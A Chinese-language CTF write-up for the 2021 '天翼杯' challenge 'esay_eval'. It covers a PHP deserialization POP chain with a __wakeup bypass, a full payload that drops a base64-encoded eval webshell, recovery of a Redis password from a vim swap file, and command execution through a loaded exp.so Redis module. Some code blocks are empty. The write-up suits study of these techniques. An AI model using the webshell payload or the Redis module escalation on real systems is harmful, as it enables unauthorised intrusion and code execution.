[天翼杯 2021]esay_eval
php反序列化 + redis提权
题目链接:https://www.nssctf.cn/problem/364
拿到题目,进行代码审计:
1 |
|
这里是php反序列化,触发A类中的eval函数进行命令执行,为了触发eval函数,调用 call()魔术方法,当访问到对象中不存在的方法时,触发call()方法,也就利用到了B类中的
1 | $this->a->a(); |
不过要注意绕过wakeup方法,否则命令将会被清空,如果序列化字符串中表示对象属性个数的值大于真实的属性个数时,会跳过wakeup的执行
构造pop链:
1 |
|
传参:
1 | ?poc=O:1:"b":2:{s:1:"a";O:1:"A":1:{s:4:"code";s:86:"fputs(fopen('123.php','w'),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4="));";}} |
一句话木马写入123.php文件,访问文件:
发现system等函数被禁用,用蚁剑连接:
访问根目录,提示权限不足,只好查看当前目录下的文件
这里有vim缓存泄露:
使用 vim 编辑器 编辑文本时,系统会自动生成一个备份文件,编辑完成后,备份文件会被自动删除。
但是,当编辑意外终止时,这个备份文件就会保留,如果多次编辑文件都意外退出,备份文件并不会覆盖,而是以 swp、swo、swn 等其他格式,依次备份。
查看config.php.swp文件:
存在不可见字符,整理可见字符后大致是这些:
1 | define("REDIS_PASS","you_cannot_guess_it"); |
泄露了redis的密码
Redis 中的 exp.so 文件可以进行redis提权。这是一个 Redis 模块,它可以在 Redis 服务器中执行任意代码。
下载exp.so文件:
https://github.com/Dliv3/redis-rogue-server
上传文件后用redis管理插件连接,输入密码:
执行命令载入模块,并命令执行:
1 | MODULE LOAD /var/www/html/exp.so |
拿到flag